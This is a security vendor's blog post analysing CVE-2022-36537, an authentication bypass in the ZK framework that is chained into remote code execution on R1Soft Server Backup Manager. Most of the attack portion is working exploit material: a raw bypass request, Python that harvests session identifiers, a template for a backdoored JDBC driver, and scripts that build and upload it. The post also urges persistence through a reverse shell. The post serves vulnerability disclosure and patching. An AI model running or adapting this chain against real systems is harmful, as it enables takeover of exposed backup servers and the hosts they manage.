Numen

Logo

CVE-2022–36537 Vulnerability Technical Analysis with Exp

ZK is widely recognized as the premier open-source Java web framework for developing robust enterprise web applications. With a remarkable track record of over 2 million downloads, ZK empowers businesses of all scales, ranging from small enterprises to Fortune Global 500 companies, across diverse industries.

R1Soft Server Backup Manager (SBM) offers an exceptionally adaptable and server-friendly backup solution, catering specifically to service providers. Its advanced capabilities enable backups to be performed at an impressive interval of every 15 minutes, ensuring continuous data protection without compromising server performance. Currently, SBM is trusted by an extensive network of 1,800 service providers, safeguarding a staggering 250,000 servers.

Affected Versions

ZK Framework v9.6.1, 9.6.0.1, 9.5.1.3, 9.0.1.2 and 8.6.4.1.
ConnectWise Recover v2.9.7 and earlier versions are impacted.
R1Soft Server Backup Manager v6.16.3 and earlier versions are impacted.

ZK Framework Auth Bypass

The vulnerability in question arises when the “/zkau/upload” route incorporates the “nextURI” parameter. This specific scenario triggers a bypass of the authentication process within the ZK AuUploader servlet, consequently exposing sensitive files within the web context. Such files may include critical resources like web.xml, zk pages, and even confidential configuration data such as applicationContext-security.xml.

Analysis

To gain insights into the handling of the “nextURI” parameter and the forwarding of requests, it is recommended to analyze the “service()” method within the “AuUploader.class” file. This particular class can be found at the following path: “webapps/web-temp/ui/WEB-INF/lib/zk-7.0.6.1.jar!/org/zkoss/zk/au/http/AuUploader.class”. By carefully examining this method, you will uncover the specific logic responsible for processing the “nextURI” parameter and the subsequent forwarding of requests.

The request must be of a multipart type

if (!isMultipartContent(request)) {

Request Construct

You can create a request to forward to the web.xml file by including the appropriate parameters. If the response contains a ZK-Error header with a value of 410, it signifies a failure. You can generate a random input character for the dtid parameter.

Upon observing the HTTP request, it becomes apparent that the dtid parameter is dynamically generated and is accompanied by the JSESSIONID.


By analyzing the JavaScript code invoked by the front-end, it is evident that the dtid value is obtained from the zk.Desktop object.

Initiate an Ajax Request

Get dtid

Fill in dtid and the corresponding JSESSIONID

POST /zkau/upload?uuid=101010&dtid=z_h7y&sid=0&maxsize=-1 HTTP/1.1
Host: 10.211.55.6
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
ZK-SID: 3181
Accept: */*
Origin: http://10.211.55.6
Referer: http://10.211.55.6/login.zul
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close
Cookie:JSESSIONID=986150E63DB473A50F546481080F18CC
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJ7idG4OgW5iZREBG
Content-Length: 154

------WebKitFormBoundaryJ7idG4OgW5iZREBG
Content-Disposition: form-data; name="nextURI"

/WEB-INF/web.xml
------WebKitFormBoundaryJ7idG4OgW5iZREBG--

Try to visit the page

nextURI=/Configuration/server-info.zul

Upon investigation, it has been discovered that the authentication mechanism was bypassed, leading to unauthorized access to sensitive information within the application.

Auto Get

Use webdriver to get

# https://chromedriver.storage.googleapis.com/index.html?path=107.0.5304.62/
def bypass_auth1(target):
    warnings.warn("Discard. The bypass auch2 function is simpler to obtain dtid and cookies.", DeprecationWarning)
    rprint("[italic green][*] Bypass authentication.")
    try:
        opt = webdriver.ChromeOptions()
        opt.add_argument('--headless')
        opt.add_argument('--ignore-certificate-errors')
        driver = webdriver.Chrome(executable_path='./chromedriver', options=opt)
        driver.get(target)
        cookie_str = "JSESSIONID=" + driver.get_cookie("JSESSIONID")['value']
        dtid = driver.execute_script("""
            for (var dtid in zk.Desktop.all)
            return dtid
        """)
        return dtid, cookie_str
    except Exception as e:
        rprint("[italic red][-] Bypass authentication failed. {0}".format(e))
        exit()

The method is deemed inconvenient, and the author later discovered the dtid is generated and included in the response packet when accessing login.zul

Optimize

def bypass_auth2(target):
    rprint("[italic green][*] Bypass authentication.")
    uri = "{0}/login.zul".format(target)
    try:
        result = requests.get(url=uri, timeout=3, verify=False, proxies=proxy)
        cookie_str = result.headers['Set-Cookie'].split(";")[0]
        r = u"dt:'(.*?)',cu:"
        regex = re.compile(r)
        dtid = regex.findall(result.text)[0]
        return dtid, cookie_str
    except Exception as e:
        rprint("[italic red][-] Bypass authentication failed. {0}".format(e))
        exit()

ConnectWise R1Soft Server Backup Manager RCE

A vulnerability has been identified in R1Soft Server Backup Manager, which leverages the ZK framework. This vulnerability enables an attacker to manipulate the JDBC driver, opening up the possibility of remote command execution and potential server takeover.

Analysis

jdbc upload processing zk-web/WEB-INF/classes/com/r1soft/backup/server/web/configuration/DatabaseDriversWindow.class#onUpload() method.

Follow up the processUploadedMedia() method to get the file stream.

Pass in webapps/lib/cdpserver.jar!/com/r1soft/backup/server/facade/DatabaseFacade.class#uploadMySQLDriver() method.

Write out the file via the uploadDriverFile() method.

The method webapps/lib/cdpserver.jar!/com/r1soft/backup/server/worker/db/mysql/MySQLUtil.class#hasMySQLDriverClass() checks if the uploaded jar package contains org/gjt/mm/mysql/Driver.class. If not, it won’t add it to the classpath and return “The file does not contain the MySQL JDBC database driver.

The webapps/lib/cdpserver.jar!/com/r1soft/util/ClassPathUtil.class#addFile() method calls URLClassLoader to add the jar package to the classpath.

Finally webapps/lib/cdpserver.jar!/com/r1soft/backup/server/facade/DatabaseFacade.class#testMySQLDatabaseDriver() for driver test.

webapps/lib/cdpserver.jar!/com/r1soft/backup/server/db/mysql/MySQLDatabaseConnection.class#driverTest() finally executes the static code block in Driver during Class.forName.

jdbc Backdoor

Back in 2018, a proposal was introduced for a JDBC backdoor that raised concerns. Certain applications offer administrators the capability to upload JDBC drivers directly via the user interface (UI), eliminating the need to manually add relevant JAR packages by logging into the server. However, it’s important to note that static code blocks within the DriverManager class are executed by default. This behavior creates a potential loophole, allowing the execution of arbitrary code.

For a more comprehensive understanding of the implementation of JDBC via the Service Provider Interface (SPI) mechanism, further exploration is recommended. However, delving into the intricate details of the SPI mechanism is beyond the scope of this discussion.

Writing a malicious com.mysql.jdbc.Driver involves implementing methods related to the java.sql.Driver interface and inserting malicious code in the static code block.

package com.mysql.jdbc; 
 
import java.sql.*; 
import java.util.*; 
import java.util.logging.Logger; 
 
/* 
    author: Bearcat of www.numencyber.com 
    desc  : Mysql jdbc backdoor driver 
*/ 
public class Driver implements java.sql.Driver { 
    static { 
        // any code... 
    } 
 
 @Override 
    public Connection connect(String url, Properties info) throws SQLException { 
        return null; 
    } 
 
    @Override 
    public boolean acceptsURL(String url) throws SQLException { 
        return false; 
    } 
 
    @Override 
    public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException { 
        return new DriverPropertyInfo[0]; 
    } 
 
    @Override 
    public int getMajorVersion() { 
        return 0; 
    } 
 
    @Override 
    public int getMinorVersion() { 
        return 0; 
    } 
 
    @Override 
    public boolean jdbcCompliant() { 
        return false; 
    } 
 
    @Override 
    public Logger getParentLogger() throws SQLFeatureNotSupportedException { 
        return null; 
    } 
} 

Replace com.mysql.jdbc.Driver in the legal jdbc package.

def build_jdbc_backdoor():
    rprint("[italic green][*] Compile java code.")
    java_cmd = 'javac -source 1.5 -target 1.5 Driver.java'
    popen = subprocess.Popen(java_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    popen.stdout.read()

    tmp_path = 'jdbc_jar'
    os.mkdir(tmp_path)
    with zipfile.ZipFile('mysql-connector-java-5.1.48.jar', 'r', zipfile.ZIP_DEFLATED) as unzf:
        unzf.extractall("jdbc_jar")
        unzf.close()
    os.remove('jdbc_jar/com/mysql/jdbc/Driver.class')
    shutil.copy('Driver.class', 'jdbc_jar/com/mysql/jdbc/')

    with zipfile.ZipFile('jdbc_backdoor.jar', 'w', zipfile.ZIP_DEFLATED) as zf:
        for root, dirs, files in os.walk(tmp_path):
            relative_root = '' if root == tmp_path else root.replace(tmp_path, '') + os.sep
            for filename in files:
                zf.write(os.path.join(root, filename), relative_root + filename)
        zf.close()
    shutil.rmtree(tmp_path)

    rprint("[italic green][*] Build jdbc backdoor success.")

Request Construct


Returning to the ZK framework’s internal mechanism, it’s worth noting that each element on the page generates a unique identifier randomly. To accurately simulate the complete request process, let’s take the login scenario as an example.

Auto Upload

Simulate upload drive process

def forward_request(target, next_uri, cookie_str, uuid, dtid):
    uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, uuid, dtid)
    param = {"nextURI": (None, next_uri)}
    headers = {"Cookie": cookie_str}
    data = MultipartEncoder(param, boundary="----WebKitFormBoundaryCs6yB0zvpfSBbYEp")
    headers["Content-Type"] = data.content_type
    try:
        result = requests.post(url=uri, headers=headers, data=data.to_string(), timeout=3, verify=False, proxies=proxy)
        return result
    except Exception as e:
        rprint("[italic red][-] Forward request failed. {0}".format(e))
        exit()
        
def deploy_jdbc_backdoor(target):
    rprint(
        "[italic red][!] The jdbc backdoor can only be deployed once, please make it persistent, such as rebounding the shell.")
    play_again = input("Whether to continue? (y/n):").lower()
    if play_again[0] != "y":
        exit()
    # get login_dtid
    login_dtid, cookie_str = bypass_auth2(target)
    rprint("[italic green][*] Start deploying the jdbc backdoor.")
    build_jdbc_backdoor()
    # database_dtid and mysql_driver_upload_button_id
    uri = "/Configuration/database-drivers.zul"
    result = forward_request(target, uri, cookie_str, "101010", login_dtid)
    r1 = u"{dt:'(.*?)',cu:"
    regex = re.compile(r1)
    database_dtid = regex.findall(result.text)[0]
    r1 = u"'zul.wgt.Button','(.*?)',"
    regex = re.compile(r1)
    mysql_driver_upload_button_id = regex.findall(result.text)[0]

    uri = "/zkau?dtid={0}&cmd_0=onClick&uuid_0={1}&data_0=%7B%22pageX%22%3A315%2C%22pageY%22%3A120%2C%22which%22%3A1%2C%22x%22%3A39%2C%22y%22%3A23%7D".format(
        database_dtid, mysql_driver_upload_button_id)
    result = forward_request(target, uri, cookie_str, "101010", login_dtid)

    # file_upload_dlg_id and file_upload_id
    r1 = u"zul.fud.FileuploadDlg','(.*?)',"
    regex = re.compile(r1)
    file_upload_dlg_id = regex.findall(result.text)[0]

    r1 = u"zul.wgt.Fileupload','(.*?)',"
    regex = re.compile(r1)
    file_upload_id = regex.findall(result.text)[0]

    uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, file_upload_id, database_dtid)
    upload_jdbc_backdoor(uri, cookie_str)

    uri = "/zkau?dtid={0}&cmd_0=onMove&opt_0=i&uuid_0={1}&data_0=%7B%22left%22%3A%22716px%22%2C%22top%22%3A%22100px%22%7D&cmd_1=onZIndex&opt_1=i&uuid_1={2}&data_1=%7B%22%22%3A1800%7D&cmd_2=updateResult&data_2=%7B%22contentId%22%3A%22z__ul_0%22%2C%22wid%22%3A%22{3}%22%2C%22sid%22%3A%220%22%7D".format(
        database_dtid, file_upload_dlg_id, file_upload_dlg_id, file_upload_id)
    forward_request(target, uri, cookie_str, "101010", login_dtid)

    uri = "/zkau?dtid={0}&cmd_0=onClose&uuid_0={1}&data_0=%7B%22%22%3Atrue%7D".format(database_dtid,
                                                                                      file_upload_dlg_id)
    forward_request(target, uri, cookie_str, "101010", login_dtid)
    
def upload_jdbc_backdoor(uri, cookie_str):
    rprint("[italic green][*] Upload the database driver.")
    headers = {"Cookie": cookie_str}
    files = {'file': ('b.jar', open('jdbc_backdoor.jar', 'rb'), 'application/java-archive')}
    try:
        requests.post(uri, files=files, headers=headers, timeout=6, verify=False, proxies=proxy)
    except Exception as e:
        rprint("[italic red][-] Upload the database driver failed. {0}".format(e))
        exit()

Demo

For the complete exploit, please visit: https://github.com/numencyber/VulnerabilityPoC/tree/main/CVE-2022-36537

Summary

R1Soft Server Backup Manager relies on the ZK framework for its operations. In order to maintain a secure environment, it is crucial for all stakeholders engaged in Web3 projects to exercise caution and remain vigilant regarding potential vulnerabilities within Web3 infrastructures. Timely application of patches is essential to mitigate security risks and prevent any potential loss of digital assets.

At Numen Cyber Labs, we are committed to maintaining a vigilant stance and closely monitoring security threats within the Web3 ecosystem. Our dedicated efforts aim to deliver innovative security solutions that safeguard both on-chain and off-chain activities, ensuring the overall safety and integrity of your digital operations.

Internet Influence

A concerning discovery has been made, revealing that over 4,000 instances of R1Soft Server Backup Managers have been exposed through Shodan. This vulnerability puts them at risk of being exploited by malicious actors, who could potentially gain control over the master server and agent host permissions, leading to devastating consequences such as ransomware attacks.

To ensure the safety of your Web3 projects, it is strongly advised that all parties involved take immediate precautions and upgrade to a secure version of R1Soft Server Backup Manager. This proactive step will significantly reduce the potential security risks and prevent any loss of valuable digital assets.

For any inquiries or technical discussions regarding security measures and upgrades, please feel free to contact us. We are here to assist you in safeguarding your digital infrastructure.

Patch Download

[ZK-5150] Vulnerability in zk upload — ZK-Tracker

ConnectWise Recover and R1Soft Server Backup Manager Critical Security Release

Numen Cyber Labs is committed to facilitating the safe development of Web3.0. We are dedicated to the security of the blockchain ecosystem, as well as operating systems & browser/mobile security. We regularly disseminate analyses on topics such as these, please stay tuned for more!

If you wish to audit and ensure that your projects are free from exploits such as these, please reach out to us here.

Numen Cyber Labs is committed to facilitating the safe development of Web 3.0. We are dedicated to the security of the blockchain ecosystem, as well as operating systems & browser/mobile security. We regularly disseminate analyses on topics such as these, please stay tuned or visit our blog here for more!

This blog was originally published on our Medium Account.

Share:

More Posts